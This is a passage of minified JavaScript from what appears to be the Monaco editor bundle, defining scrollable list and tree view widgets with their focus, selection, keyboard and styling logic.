top\":\"\")),this._topLeftShadowDomNode.setClassName(\"shadow top-left-corner\"+(t?\" top\":\"\")+(n?\" left\":\"\"))}},t.prototype._onDragStart=function(){this._isDragging=!0,this._reveal()},t.prototype._onDragEnd=function(){this._isDragging=!1,this._hide()},t.prototype._onMouseOut=function(e){this._mouseIsOver=!1,this._hide()},t.prototype._onMouseOver=function(e){this._mouseIsOver=!0,this._reveal()},t.prototype._reveal=function(){this._verticalScrollbar.beginReveal(),this._horizontalScrollbar.beginReveal(),this._scheduleHide()},t.prototype._hide=function(){this._mouseIsOver||this._isDragging||(this._verticalScrollbar.beginHide(),this._horizontalScrollbar.beginHide())},t.prototype._scheduleHide=function(){var e=this;this._mouseIsOver||this._isDragging||this._hideTimeout.cancelAndSet(function(){return e._hide()},500)},t}(l.Widget);t.ScrollableElement=g;var m=function(e){function t(t,n){var i=e.call(this,t,n)||this;return i._element=t,i.onScroll(function(e){e.scrollTopChanged&&(i._element.scrollTop=e.scrollTop),e.scrollLeftChanged&&(i._element.scrollLeft=e.scrollLeft)}),i.scanDomNode(),i}return f(t,e),t.prototype.scanDomNode=function(){this.updateState({width:this._element.clientWidth,scrollWidth:this._element.scrollWidth,scrollLeft:this._element.scrollLeft,height:this._element.clientHeight,scrollHeight:this._element.scrollHeight,scrollTop:this._element.scrollTop})},t}(g);t.DomScrollableElement=m}),define(d[232],h([1,0,26,3,74,4,124,63,48,415,416,15,28]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=[\"click\",\"dblclick\",\"mouseup\",\"mousedown\",\"mouseover\",\"mousemove\",\"mouseout\",\"contextmenu\",\"touchstart\"],f={useShadows:!0},g=function(){function e(e,t,i,r){void 0===r&&(r=f),this.delegate=t,this.items=[],this.itemId=0,this.rangeMap=new l.RangeMap,this.renderers=n.toObject(i,function(e){return e.templateId}),this.cache=new c.RowCache(this.renderers),this.lastRenderTop=0,this.lastRenderHeight=0,this._domNode=document.createElement(\"div\"),this._domNode.className=\"monaco-list\",this.rowsContainer=document.createElement(\"div\"),this.rowsContainer.className=\"monaco-list-rows\",this.gesture=new o.Gesture(this.rowsContainer),this.scrollableElement=new a.ScrollableElement(this.rowsContainer,{alwaysConsumeMouseWheel:!0,horizontal:u.ScrollbarVisibility.Hidden,vertical:u.ScrollbarVisibility.Auto,useShadows:n.getOrDefault(r,function(e){return e.useShadows},f.useShadows)}),this._domNode.appendChild(this.scrollableElement.getDomNode()),e.appendChild(this._domNode),this.disposables=[this.rangeMap,this.gesture,this.scrollableElement],this.scrollableElement.onScroll(this.onScroll,this,this.disposables),s.domEvent(this.rowsContainer,o.EventType.Change)(this.onTouchChange,this,this.disposables),this.layout()}return Object.defineProperty(e.prototype,\"domNode\",{get:function(){return this._domNode},enumerable:!0,configurable:!0}),e.prototype.splice=function(e,t,n){var i=this;void 0===n&&(n=[]);var o=this.getRenderRange(this.lastRenderTop,this.lastRenderHeight);l.each(o,function(e){return i.removeItemFromDOM(i.items[e])});var r=n.map(function(e){return{id:String(i.itemId++),element:e,size:i.delegate.getHeight(e),templateId:i.delegate.getTemplateId(e),row:null}});(c=this.rangeMap).splice.apply(c,[e,t].concat(r));var s=(d=this.items).splice.apply(d,[e,t].concat(r)),a=this.getRenderRange(this.lastRenderTop,this.lastRenderHeight);l.each(a,function(e){return i.insertItemInDOM(i.items[e],e)});var u=this.getContentHeight();return this.rowsContainer.style.height=u+\"px\",this.scrollableElement.updateState({scrollHeight:u}),s.map(function(e){return e.element});var c,d},Object.defineProperty(e.prototype,\"length\",{get:function(){return this.items.length},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"renderHeight\",{get:function(){return this.scrollableElement.getScrollState().height},enumerable:!0,configurable:!0}),e.prototype.element=function(e){return this.items[e].element},e.prototype.domElement=function(e){var t=this.items[e].row;return t&&t.domNode},e.prototype.elementHeight=function(e){return this.items[e].size},e.prototype.elementTop=function(e){return this.rangeMap.positionAt(e)},e.prototype.indexAt=function(e){return this.rangeMap.indexAt(e)},e.prototype.indexAfter=function(e){return this.rangeMap.indexAfter(e)},e.prototype.layout=function(e){this.scrollableElement.updateState({height:e||r.getContentHeight(this._domNode)})},e.prototype.render=function(e,t){var n=this,i=this.getRenderRange(this.lastRenderTop,this.lastRenderHeight),o=this.getRenderRange(e,t),r=l.relativeComplement(o,i),s=l.relativeComplement(i,o);if(r.forEach(function(e){return l.each(e,function(e){return n.insertItemInDOM(n.items[e],e)})}),s.forEach(function(e){return l.each(e,function(e){return n.removeItemFromDOM(n.items[e])})}),h.canUseTranslate3d()&&!d.isWindows){var a=\"translate3d(0px, -\"+e+\"px, 0px)\";this.rowsContainer.style.transform=a,this.rowsContainer.style.webkitTransform=a}else this.rowsContainer.style.top=\"-\"+e+\"px\";this.lastRenderTop=e,this.lastRenderHeight=t},e.prototype.insertItemInDOM=function(e,t){e.row||(e.row=this.cache.alloc(e.templateId)),e.row.domNode.parentElement||this.rowsContainer.appendChild(e.row.domNode);var n=this.renderers[e.templateId];e.row.domNode.style.top=this.elementTop(t)+\"px\",e.row.domNode.style.height=e.size+\"px\",e.row.domNode.setAttribute(\"data-index\",\"\"+t),n.renderElement(e.element,t,e.row.templateData)},e.prototype.removeItemFromDOM=function(e){this.cache.release(e.row),e.row=null},e.prototype.getContentHeight=function(){return this.rangeMap.size},e.prototype.getScrollTop=function(){return this.scrollableElement.getScrollState().scrollTop},e.prototype.setScrollTop=function(e){this.scrollableElement.updateState({scrollTop:e})},Object.defineProperty(e.prototype,\"scrollTop\",{get:function(){return this.getScrollTop()},set:function(e){this.setScrollTop(e)},enumerable:!0,configurable:!0}),e.prototype.addListener=function(e,t,n){var i=this,s=t,a=this.domNode;return p.indexOf(e)>-1?t=function(e){return i.fireScopedEvent(e,s,i.getItemIndexFromMouseEvent(e))}:e===o.EventType.Tap&&(a=this.rowsContainer,t=function(e){return i.fireScopedEvent(e,s,i.getItemIndexFromGestureEvent(e))}),r.addDisposableListener(a,e,t,n)},e.prototype.fireScopedEvent=function(e,t,i){if(!(i<0)){var o=this.items[i].element;t(n.assign(e,{element:o,index:i}))}},e.prototype.onScroll=function(e){this.render(e.scrollTop,e.height)},e.prototype.onTouchChange=function(e){e.preventDefault(),e.stopPropagation(),this.scrollTop-=e.translationY},e.prototype.getItemIndexFromMouseEvent=function(e){return this.getItemIndexFromEventTarget(e.target)},e.prototype.getItemIndexFromGestureEvent=function(e){return this.getItemIndexFromEventTarget(e.initialTarget)},e.prototype.getItemIndexFromEventTarget=function(e){for(;e instanceof HTMLElement&&e!==this.rowsContainer;){var t=e,n=t.getAttribute(\"data-index\");if(n){var i=Number(n);if(!isNaN(i))return i}e=t.parentElement}return-1},e.prototype.getRenderRange=function(e,t){return{start:this.rangeMap.indexAt(e),end:this.rangeMap.indexAfter(e+t-1)}},e.prototype.dispose=function(){this.items=null,this._domNode&&this._domNode.parentElement&&(this._domNode.parentNode.removeChild(this._domNode),this._domNode=null),this.disposables=i.dispose(this.disposables)},e}();t.ListView=g});var v=this&&this.__decorate||function(e,t,n,i){var o,r=arguments.length,s=r<3?t:null===i?i=Object.getOwnPropertyDescriptor(t,n):i;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,i);else for(var a=e.length-1;a>=0;a--)(o=e[a])&&(s=(r<3?o(s):r>3?o(t,n,s):o(t,n))||s);return r>3&&s&&Object.defineProperty(t,n,s),s};define(d[234],h([1,0,3,29,33,136,446,4,15,74,65,11,124,232,32,26,213]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m){\"use strict\";function _(e){return u.isMacintosh?e.metaKey:e.ctrlKey}function y(e){return e.shiftKey}function C(e){return _(e)||y(e)}function b(e,t){var n=e.indexOf(t);if(-1===n)return[];for(var i=[],o=n-1;o>=0&&e[o]===t-(n-o);)i.push(e[o--]);for(i.reverse(),o=n;o<e.length&&e[o]===t+(o-n);)i.push(e[o++]);return i}function w(e,t){for(var n=[],i=0,o=0;i<e.length||o<t.length;)if(i>=e.length)n.push(t[o++]);else if(o>=t.length)n.push(e[i++]);else{if(e[i]===t[o]){n.push(e[i]),i++,o++;continue}e[i]<t[o]?n.push(e[i++]):n.push(t[o++])}return n}function S(e,t){for(var n=[],i=0,o=0;i<e.length||o<t.length;)if(i>=e.length)n.push(t[o++]);else if(o>=t.length)n.push(e[i++]);else{if(e[i]===t[o]){i++,o++;continue}e[i]<t[o]?n.push(e[i++]):o++}return n}Object.defineProperty(t,\"__esModule\",{value:!0});var E=function(){function e(e){this.spliceables=e}return e.prototype.splice=function(e,t,n){this.spliceables.forEach(function(i){return i.splice(e,t,n)})},e}(),L=function(){function e(e){this.trait=e,this.rendered=[]}return Object.defineProperty(e.prototype,\"templateId\",{get:function(){return\"template:\"+this.trait.trait},enumerable:!0,configurable:!0}),e.prototype.renderTemplate=function(e){return{container:e,elementDisposable:n.empty}},e.prototype.renderElement=function(e,t,i){var o=this;i.elementDisposable.dispose();var s={index:t,templateData:i};this.rendered.push(s),i.elementDisposable=n.toDisposable(r.once(function(){return o.rendered.splice(o.rendered.indexOf(s),1)})),this.trait.renderIndex(t,i.container)},e.prototype.renderIndexes=function(e){var t=this;this.rendered.filter(function(t){var n=t.index;return e.indexOf(n)>-1}).forEach(function(e){var n=e.index,i=e.templateData;return t.trait.renderIndex(n,i.container)})},e.prototype.splice=function(e,t){for(var n=0;n<t;n++){var i=\"key_\"+(e+n),o=this.rendered[i];o&&o.elementDisposable.dispose()}},e.prototype.disposeTemplate=function(e){e.elementDisposable.dispose()},e}(),x=function(){function e(e){this._trait=e,this._onChange=new d.Emitter,this.indexes=[]}return Object.defineProperty(e.prototype,\"onChange\",{get:function(){return this._onChange.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"trait\",{get:function(){return this._trait},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"renderer\",{get:function(){return new L(this)},enumerable:!0,configurable:!0}),e.prototype.splice=function(e,t,n){var i=n.length-t,o=e+t,r=this.indexes.filter(function(t){return t<e}).concat(n.reduce(function(t,n,i){return n?t.concat([i+e]):t},[]),this.indexes.filter(function(e){return e>=o}).map(function(e){return e+i}));this.renderer.splice(e,t),this.set(r)},e.prototype.renderIndex=function(e,t){a.toggleClass(t,this._trait,this.contains(e))},e.prototype.set=function(e){var t=this.indexes;this.indexes=e;var n=w(t,e);return this.renderer.renderIndexes(n),this._onChange.fire({indexes:e}),t},e.prototype.get=function(){return this.indexes},e.prototype.contains=function(e){return this.indexes.some(function(t){return t===e})},e.prototype.dispose=function(){this.indexes=null,this._onChange=n.dispose(this._onChange)},v([s.memoize],e.prototype,\"renderer\",null),e}(),N=function(e){function t(t){var n=e.call(this,\"focused\")||this;return n.getDomId=t,n}return f(t,e),t.prototype.renderIndex=function(t,n){e.prototype.renderIndex.call(this,t,n),n.setAttribute(\"role\",\"treeitem\"),n.setAttribute(\"id\",this.getDomId(t))},t}(x),M=function(){function e(){this.length=0}return Object.defineProperty(e.prototype,\"templateId\",{get:function(){return\"aria\"},enumerable:!0,configurable:!0}),e.prototype.splice=function(e,t,n){this.length+=n.length-t},e.prototype.renderTemplate=function(e){return e},e.prototype.renderElement=function(e,t,n){n.setAttribute(\"aria-setsize\",\"\"+this.length),n.setAttribute(\"aria-posinset\",\"\"+(t+1))},e.prototype.disposeTemplate=function(e){},e}(),T=function(){function e(e,t,n){this.trait=e,this.view=t,this.getId=n}return e.prototype.splice=function(e,t,n){var i=this;if(!this.getId)return this.trait.splice(e,t,n.map(function(e){return!1}));var o=this.trait.get().map(function(e){return i.getId(i.view.element(e))}),r=n.map(function(e){return o.indexOf(i.getId(e))>-1});this.trait.splice(e,t,r)},e}(),k=function(){function e(e,t){this.list=e,this.view=t,this.disposables=[];var n=d.chain(h.domEvent(t.domNode,\"keydown\")).map(function(e){return new c.StandardKeyboardEvent(e)});n.filter(function(e){return 3===e.keyCode}).on(this.onEnter,this,this.disposables),n.filter(function(e){return 16===e.keyCode}).on(this.onUpArrow,this,this.disposables),n.filter(function(e){return 18===e.keyCode}).on(this.onDownArrow,this,this.disposables),n.filter(function(e){return 11===e.keyCode}).on(this.onPageUpArrow,this,this.disposables),n.filter(function(e){return 12===e.keyCode}).on(this.onPageDownArrow,this,this.disposables)}return e.prototype.onEnter=function(e){e.preventDefault(),e.stopPropagation(),this.list.setSelection(this.list.getFocus()),this.list.open(this.list.getFocus())},e.prototype.onUpArrow=function(e){e.preventDefault(),e.stopPropagation(),this.list.focusPrevious(),this.list.reveal(this.list.getFocus()[0]),this.view.domNode.focus()},e.prototype.onDownArrow=function(e){e.preventDefault(),e.stopPropagation(),this.list.focusNext(),this.list.reveal(this.list.getFocus()[0]),this.view.domNode.focus()},e.prototype.onPageUpArrow=function(e){e.preventDefault(),e.stopPropagation(),this.list.focusPreviousPage(),this.list.reveal(this.list.getFocus()[0]),this.view.domNode.focus()},e.prototype.onPageDownArrow=function(e){e.preventDefault(),e.stopPropagation(),this.list.focusNextPage(),this.list.reveal(this.list.getFocus()[0]),this.view.domNode.focus()},e.prototype.dispose=function(){this.disposables=n.dispose(this.disposables)},e}(),I=function(){function e(e,t,n){void 0===n&&(n={});var i=this;this.list=e,this.view=t,this.options=n,this.disposables=[],this.disposables.push(t.addListener(\"mousedown\",function(e){return i.onMouseDown(e)})),this.disposables.push(t.addListener(\"click\",function(e){return i.onPointer(e)})),this.disposables.push(t.addListener(\"dblclick\",function(e){return i.onDoubleClick(e)})),this.disposables.push(t.addListener(\"touchstart\",function(e){return i.onMouseDown(e)})),this.disposables.push(t.addListener(l.EventType.Tap,function(e){return i.onPointer(e)}))}return Object.defineProperty(e.prototype,\"onContextMenu\",{get:function(){var e=this,t=d.chain(h.domEvent(this.view.domNode,\"keydown\")).map(function(e){return new c.StandardKeyboardEvent(e)}).filter(function(t){return e.list.getFocus().length>0}).filter(function(e){return 58===e.keyCode||e.shiftKey&&68===e.keyCode}).map(function(t){var n=e.list.getFocus()[0];return{index:n,element:e.view.element(n),anchor:e.view.domElement(n)}}).filter(function(e){return!!e.anchor}).event,n=d.chain(d.fromCallback(function(t){return e.view.addListener(\"contextmenu\",t)})).map(function(e){return{element:e.element,index:e.index,anchor:{x:e.clientX+1,y:e.clientY}}}).event;return d.any(t,n)},enumerable:!0,configurable:!0}),e.prototype.onMouseDown=function(e){e.preventDefault(),e.stopPropagation(),this.view.domNode.focus();var t=this.list.getFocus()[0];if(t=void 0===t?this.list.getSelection()[0]:t,y(e))return this.changeSelection(e,t);var n=e.index;if(this.list.setFocus([n]),C(e))return this.changeSelection(e,t);this.options.selectOnMouseDown&&(this.list.setSelection([n]),this.list.open([n]))},e.prototype.onPointer=function(e){if(e.preventDefault(),e.stopPropagation(),!C(e)){var t=this.list.getFocus();this.list.setSelection(t),this.list.open(t)}},e.prototype.onDoubleClick=function(e){if(e.preventDefault(),e.stopPropagation(),!C(e)){var t=this.list.getFocus();this.list.setSelection(t),this.list.pin(t)}},e.prototype.changeSelection=function(e,t){var n=e.index;if(y(e)&&void 0!==t){var i=Math.min(t,n),r=Math.max(t,n),s=o.range(r+1,i),a=b(w(u=this.list.getSelection(),[t]),t);if(0===a.length)return;l=w(s,S(u,a));this.list.setSelection(l)}else if(_(e)){var u=this.list.getSelection(),l=u.filter(function(e){return e!==n});u.length===l.length?this.list.setSelection(l.concat([n])):this.list.setSelection(l)}},e.prototype.dispose=function(){this.disposables=n.dispose(this.disposables)},v([s.memoize],e.prototype,\"onContextMenu\",null),e}(),D={listFocusBackground:g.Color.fromHex(\"#073655\"),listActiveSelectionBackground:g.Color.fromHex(\"#0E639C\"),listActiveSelectionForeground:g.Color.fromHex(\"#FFFFFF\"),listFocusAndSelectionBackground:g.Color.fromHex(\"#094771\"),listFocusAndSelectionForeground:g.Color.fromHex(\"#FFFFFF\"),listInactiveSelectionBackground:g.Color.fromHex(\"#3F3F46\"),listHoverBackground:g.Color.fromHex(\"#2A2D2E\"),listDropBackground:g.Color.fromHex(\"#383B3D\")},O={keyboardSupport:!0,mouseSupport:!0},R=function(e,t){return e-t},P=function(){function e(e,t){this._templateId=e,this.renderers=t}return Object.defineProperty(e.prototype,\"templateId\",{get:function(){return this._templateId},enumerable:!0,configurable:!0}),e.prototype.renderTemplate=function(e){return this.renderers.map(function(t){return t.renderTemplate(e)})},e.prototype.renderElement=function(e,t,n){this.renderers.forEach(function(i,o){return i.renderElement(e,t,n[o])})},e.prototype.disposeTemplate=function(e){this.renderers.forEach(function(t,n){return t.disposeTemplate(e[n])})},e}(),A=function(){function e(t,n,i,o){void 0===o&&(o=O);var r=this;this.idPrefix=\"list_id_\"+ ++e.InstanceCount,this._onContextMenu=d.default.None,this._onOpen=new d.Emitter,this._onPin=new d.Emitter,this._onDispose=new d.Emitter;var s=new M;if(this.focus=new N(function(e){return r.getElementDomId(e)}),this.selection=new x(\"selected\"),this.eventBufferer=new d.EventBufferer,m.mixin(o,D,!1),i=i.map(function(e){return new P(e.templateId,[s,r.focus.renderer,r.selection.renderer,e])}),this.view=new p.ListView(t,n,i,o),this.view.domNode.setAttribute(\"role\",\"tree\"),a.addClass(this.view.domNode,this.idPrefix),this.view.domNode.tabIndex=0,this.styleElement=a.createStyleSheet(this.view.domNode),this.spliceable=new E([s,new T(this.focus,this.view,o.identityProvider),new T(this.selection,this.view,o.identityProvider),this.view]),this.disposables=[this.focus,this.selection,this.view,this._onDispose],this.onDOMFocus=d.mapEvent(h.domEvent(this.view.domNode,\"focus\",!0),function(){return null}),this.onDOMBlur=d.mapEvent(h.domEvent(this.view.domNode,\"blur\",!0),function(){return null}),\"boolean\"!=typeof o.keyboardSupport||o.keyboardSupport){u=new k(this,this.view);this.disposables.push(u)}if(\"boolean\"!=typeof o.mouseSupport||o.mouseSupport){var u=new I(this,this.view,o);this.disposables.push(u),this._onContextMenu=u.onContextMenu}this.onFocusChange(this._onFocusChange,this,this.disposables),this.onSelectionChange(this._onSelectionChange,this,this.disposables),o.ariaLabel&&this.view.domNode.setAttribute(\"aria-label\",o.ariaLabel),this.style(o)}return Object.defineProperty(e.prototype,\"onFocusChange\",{get:function(){var e=this;return d.mapEvent(this.eventBufferer.wrapEvent(this.focus.onChange),function(t){return e.toListEvent(t)})},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onSelectionChange\",{get:function(){var e=this;return d.mapEvent(this.eventBufferer.wrapEvent(this.selection.onChange),function(t){return e.toListEvent(t)})},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onContextMenu\",{get:function(){return this._onContextMenu},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onOpen\",{get:function(){var e=this;return d.mapEvent(this._onOpen.event,function(t){return e.toListEvent({indexes:t})})},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onPin\",{get:function(){var e=this;return d.mapEvent(this._onPin.event,function(t){return e.toListEvent({indexes:t})})},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onDispose\",{get:function(){return this._onDispose.event},enumerable:!0,configurable:!0}),e.prototype.splice=function(e,t,n){var i=this;void 0===n&&(n=[]),this.eventBufferer.bufferEvents(function(){return i.spliceable.splice(e,t,n)})},Object.defineProperty(e.prototype,\"length\",{get:function(){return this.view.length},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"contentHeight\",{get:function(){return this.view.getContentHeight()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"scrollTop\",{get:function(){return this.view.getScrollTop()},set:function(e){this.view.setScrollTop(e)},enumerable:!0,configurable:!0}),e.prototype.layout=function(e){this.view.layout(e)},e.prototype.setSelection=function(e){e=e.sort(R),this.selection.set(e)},e.prototype.selectNext=function(e,t){if(void 0===e&&(e=1),void 0===t&&(t=!1),0!==this.length){var n=this.selection.get(),i=n.length>0?n[0]+e:0;this.setSelection(t?[i%this.length]:[Math.min(i,this.length-1)])}},e.prototype.selectPrevious=function(e,t){if(void 0===e&&(e=1),void 0===t&&(t=!1),0!==this.length){var n=this.selection.get(),i=n.length>0?n[0]-e:0;t&&i<0&&(i=this.length+i%this.length),this.setSelection([Math.max(i,0)])}},e.prototype.getSelection=function(){return this.selection.get()},e.prototype.getSelectedElements=function(){var e=this;return this.getSelection().map(function(t){return e.view.element(t)})},e.prototype.setFocus=function(e){e=e.sort(R),this.focus.set(e)},e.prototype.focusNext=function(e,t){if(void 0===e&&(e=1),void 0===t&&(t=!1),0!==this.length){var n=this.focus.get(),i=n.length>0?n[0]+e:0;this.setFocus(t?[i%this.length]:[Math.min(i,this.length-1)])}},e.prototype.focusPrevious=function(e,t){if(void 0===e&&(e=1),void 0===t&&(t=!1),0!==this.length){var n=this.focus.get(),i=n.length>0?n[0]-e:0;t&&i<0&&(i=(this.length+i%this.length)%this.length),this.setFocus([Math.max(i,0)])}},e.prototype.focusNextPage=function(){var e=this,t=this.view.indexAt(this.view.getScrollTop()+this.view.renderHeight);t=0===t?0:t-1;var n=this.view.element(t);if(this.getFocusedElements()[0]!==n)this.setFocus([t]);else{var i=this.view.getScrollTop();this.view.setScrollTop(i+this.view.renderHeight-this.view.elementHeight(t)),this.view.getScrollTop()!==i&&setTimeout(function(){return e.focusNextPage()},0)}},e.prototype.focusPreviousPage=function(){var e,t=this,n=this.view.getScrollTop();e=0===n?this.view.indexAt(n):this.view.indexAfter(n-1);var i=this.view.element(e);if(this.getFocusedElements()[0]!==i)this.setFocus([e]);else{var o=n;this.view.setScrollTop(n-this.view.renderHeight),this.view.getScrollTop()!==o&&setTimeout(function(){return t.focusPreviousPage()},0)}},e.prototype.focusLast=function(){0!==this.length&&this.setFocus([this.length-1])},e.prototype.focusFirst=function(){0!==this.length&&this.setFocus([0])},e.prototype.getFocus=function(){return this.focus.get()},e.prototype.getFocusedElements=function(){var e=this;return this.getFocus().map(function(t){return e.view.element(t)})},e.prototype.reveal=function(e,t){var n=this.view.getScrollTop(),o=this.view.elementTop(e),r=this.view.elementHeight(e);if(i.isNumber(t)){t=(t=t<0?0:t)>1?1:t;var s=r-this.view.renderHeight;this.view.setScrollTop(s*t+o)}else{var a=o+r,u=n+this.view.renderHeight;o<n?this.view.setScrollTop(o):a>=u&&this.view.setScrollTop(a-this.view.renderHeight)}},e.prototype.getElementDomId=function(e){return this.idPrefix+\"_\"+e},e.prototype.isDOMFocused=function(){return this.view.domNode===document.activeElement},e.prototype.getHTMLElement=function(){return this.view.domNode},e.prototype.open=function(e){this._onOpen.fire(e)},e.prototype.pin=function(e){this._onPin.fire(e)},e.prototype.style=function(e){var t=[];e.listFocusBackground&&t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.focused { background-color: \"+e.listFocusBackground+\"; }\"),e.listFocusForeground&&t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.focused { color: \"+e.listFocusForeground+\"; }\"),e.listActiveSelectionBackground&&(t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.selected { background-color: \"+e.listActiveSelectionBackground+\"; }\"),t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.selected:hover { background-color: \"+e.listActiveSelectionBackground+\"; }\")),e.listActiveSelectionForeground&&t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.selected { color: \"+e.listActiveSelectionForeground+\"; }\"),e.listFocusAndSelectionBackground&&t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.selected.focused { background-color: \"+e.listFocusAndSelectionBackground+\"; }\"),e.listFocusAndSelectionForeground&&t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.selected.focused { color: \"+e.listFocusAndSelectionForeground+\"; }\"),e.listInactiveFocusBackground&&(t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.focused { background-color:  \"+e.listInactiveFocusBackground+\"; }\"),t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.focused:hover { background-color:  \"+e.listInactiveFocusBackground+\"; }\")),e.listInactiveSelectionBackground&&(t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.selected { background-color:  \"+e.listInactiveSelectionBackground+\"; }\"),t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.selected:hover { background-color:  \"+e.listInactiveSelectionBackground+\"; }\")),e.listInactiveSelectionForeground&&t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.selected { color: \"+e.listInactiveSelectionForeground+\"; }\"),e.listHoverBackground&&t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row:hover { background-color:  \"+e.listHoverBackground+\"; }\"),e.listHoverForeground&&t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row:hover { color:  \"+e.listHoverForeground+\"; }\"),e.listSelectionOutline&&t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.selected { outline: 1px dotted \"+e.listSelectionOutline+\"; outline-offset: -1px; }\"),e.listFocusOutline&&t.push(\".monaco-list.\"+this.idPrefix+\":focus .monaco-list-row.focused { outline: 1px solid \"+e.listFocusOutline+\"; outline-offset: -1px; }\"),e.listInactiveFocusOutline&&t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row.focused { outline: 1px dotted \"+e.listInactiveFocusOutline+\"; outline-offset: -1px; }\"),e.listHoverOutline&&t.push(\".monaco-list.\"+this.idPrefix+\" .monaco-list-row:hover { outline: 1px dashed \"+e.listHoverOutline+\"; outline-offset: -1px; }\"),this.styleElement.innerHTML=t.join(\"\\n\")},e.prototype.toListEvent=function(e){var t=this,n=e.indexes;return{indexes:n,elements:n.map(function(e){return t.view.element(e)})}},e.prototype._onFocusChange=function(){var e=this.focus.get();e.length>0?this.view.domNode.setAttribute(\"aria-activedescendant\",this.getElementDomId(e[0])):this.view.domNode.removeAttribute(\"aria-activedescendant\"),this.view.domNode.setAttribute(\"role\",\"tree\"),a.toggleClass(this.view.domNode,\"element-focused\",e.length>0)},e.prototype._onSelectionChange=function(){var e=this.selection.get();a.toggleClass(this.view.domNode,\"selection-none\",0===e.length),a.toggleClass(this.view.domNode,\"selection-single\",1===e.length),a.toggleClass(this.view.domNode,\"selection-multiple\",e.length>1)},e.prototype.dispose=function(){this._onDispose.fire(),this.disposables=n.dispose(this.disposables)},e.InstanceCount=0,v([s.memoize],e.prototype,\"onFocusChange\",null),v([s.memoize],e.prototype,\"onSelectionChange\",null),v([s.memoize],e.prototype,\"onOpen\",null),v([s.memoize],e.prototype,\"onPin\",null),e}();t.List=A}),define(d[238],h([1,0,15,28,7,3,4,139,74,9,47,65,461,107,63,48,472,448,11]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y){\"use strict\";function C(e){try{e.parentElement.removeChild(e)}catch(e){}}function b(e,t){return!e&&!t||!(!e||!t)&&(e.accept===t.accept&&(e.bubble===t.bubble&&e.effect===t.effect))}Object.defineProperty(t,\"__esModule\",{value:!0});var w=function(){function e(e){this.context=e,this._cache={\"\":[]}}return e.prototype.alloc=function(e){var t=this.cache(e).pop();if(!t){var n=document.createElement(\"div\");n.className=\"content\";var i=document.createElement(\"div\");i.appendChild(n),t={element:i,templateId:e,templateData:this.context.renderer.renderTemplate(this.context.tree,e,n)}}return t},e.prototype.release=function(e,t){C(t.element),this.cache(e).push(t)},e.prototype.cache=function(e){return this._cache[e]||(this._cache[e]=[])},e.prototype.garbageCollect=function(){var e=this;this._cache&&Object.keys(this._cache).forEach(function(t){e._cache[t].forEach(function(n){e.context.renderer.disposeTemplate(e.context.tree,t,n.templateData),n.element=null,n.templateData=null}),delete e._cache[t]})},e.prototype.dispose=function(){this.garbageCollect(),this._cache=null,this.context=null},e}();t.RowCache=w;var S=function(){function e(e,t){var n=this;this.context=e,this.model=t,this.id=this.model.id,this.row=null,this.top=0,this.height=t.getHeight(),this._styles={},t.getAllTraits().forEach(function(e){return n._styles[e]=!0}),t.isExpanded()&&this.addClass(\"expanded\")}return Object.defineProperty(e.prototype,\"expanded\",{set:function(e){e?this.addClass(\"expanded\"):this.removeClass(\"expanded\")},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"loading\",{set:function(e){e?this.addClass(\"loading\"):this.removeClass(\"loading\")},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"draggable\",{get:function(){return this._draggable},set:function(e){this._draggable=e,this.render(!0)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"dropTarget\",{set:function(e){e?this.addClass(\"drop-target\"):this.removeClass(\"drop-target\")},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"element\",{get:function(){return this.row&&this.row.element},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"templateId\",{get:function(){return this._templateId||(this._templateId=this.context.renderer.getTemplateId&&this.context.renderer.getTemplateId(this.context.tree,this.model.getElement()))},enumerable:!0,configurable:!0}),e.prototype.addClass=function(e){this._styles[e]=!0,this.render(!0)},e.prototype.removeClass=function(e){delete this._styles[e],this.render(!0)},e.prototype.render=function(e){var t=this;if(void 0===e&&(e=!1),this.model&&this.element){var n=[\"monaco-tree-row\"];n.push.apply(n,Object.keys(this._styles)),this.model.hasChildren()&&n.push(\"has-children\"),this.element.className=n.join(\" \"),this.element.draggable=this.draggable,this.element.style.height=this.height+\"px\",this.element.setAttribute(\"role\",\"treeitem\");var i=this.context.accessibilityProvider,o=i.getAriaLabel(this.context.tree,this.model.getElement());if(o&&this.element.setAttribute(\"aria-label\",o),i.getPosInSet&&i.getSetSize&&(this.element.setAttribute(\"aria-setsize\",i.getSetSize()),this.element.setAttribute(\"aria-posinset\",i.getPosInSet(this.context.tree,this.model.getElement()))),this.model.hasTrait(\"focused\")){var 